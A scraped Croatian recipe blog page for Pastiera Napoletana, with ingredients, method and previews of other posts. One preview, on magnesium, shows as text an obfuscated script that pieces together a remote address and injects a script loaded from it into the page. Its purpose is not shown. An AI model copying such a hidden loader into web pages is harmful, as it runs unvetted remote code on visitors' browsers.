PASTIERA NAPOLETANA - MIRISNA USKRSNA PITA





Pastiera Napoletana - mirisna uskrsna pita 



Ono što ovu pitu čini posebnom jest njezin slojeviti okus. Na prvi zalogaj osjeti se kremasta ricotta, zatim nježna tekstura pšenice i na kraju citrusna svježina naranče. Upravo ta kombinacija čini Pastieru jednim od najprepoznatljivijih uskrsnih deserata u Italiji, a zašto se ovih blagdana ne bi pronašla i na vašem blagdanskom stolu? Donosimo vam provjeren recept.




Pastiera Napoletana 


Sastojci:

Sastojci za tijesto (prhko tijesto):

  • 300 g glatkog brašna
  • 150 g maslaca
  • 120 g šećera
  • 1 jaje + 1 žumanjak
  • naribana korica 1 limuna
  • prstohvat soli

Sastojci za nadjev:

  • 300 g kuhane pšenice (može i gotova iz staklenke)
  • 200 ml mlijeka
  • 30 g maslaca
  • 300 g ricotte
  • 200 g šećera
  • 3 jaja
  • 1 žumanjak
  • naribana korica 1 naranče
  • naribana korica 1 limuna
  • 1 žličica arome narančina cvijeta (po želji)
  • 1 žličica vanilije
  • 50 g kandirane naranče ili limuna




Priprema:

 
  • U zdjeli pomiješajte brašno, šećer i sol, zatim dodajte hladni maslac narezan na kockice. Prstima ga utrljajte u brašno dok ne dobijete mrvičastu smjesu. Dodajte jaje, žumanjak i limunovu koricu te zamijesite glatko tijesto.
  • Oblikujte ga u kuglu, zamotajte u prozirnu foliju i stavite u hladnjak najmanje 30 minuta.
  • Kuhanu pšenicu stavite u lonac s mlijekom i maslacem te lagano zagrijavajte desetak minuta dok smjesa ne postane kremasta. Ostavite da se ohladi.
  • U velikoj zdjeli pomiješajte ricottu i šećer dok ne dobijete glatku kremu. Dodajte jaja i žumanjak, pa sve dobro sjedinite.
  • Umiješajte ohlađenu pšenicu, naribanu koricu limuna i naranče, vaniliju i aromu narančina cvijeta. Na kraju dodajte kandirano voće.
  • Ohlađeno tijesto razvaljajte i njime obložite kalup za pitu. Ostavite dio tijesta sa strane za dekoraciju.
  • Ulijte pripremljeni nadjev i poravnajte površinu. Od preostalog tijesta izrežite trakice i složite ih u obliku rešetke preko pite, to je tradicionalni izgled Pastiere.
  • Pecite u prethodno zagrijanoj pećnici na 170 °C oko 50 do 60 minuta, dok površina ne dobije zlatnu boju.
  • Nakon pečenja, Pastieru je važno pustiti da se potpuno ohladi, idealno čak i preko noći. Tek tada se okusi u potpunosti razviju. Prije posluživanja pitu lagano pospite šećerom u prahu. Reže se na kriške i poslužuje na sobnoj temperaturi, uz kavu ili čaj.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više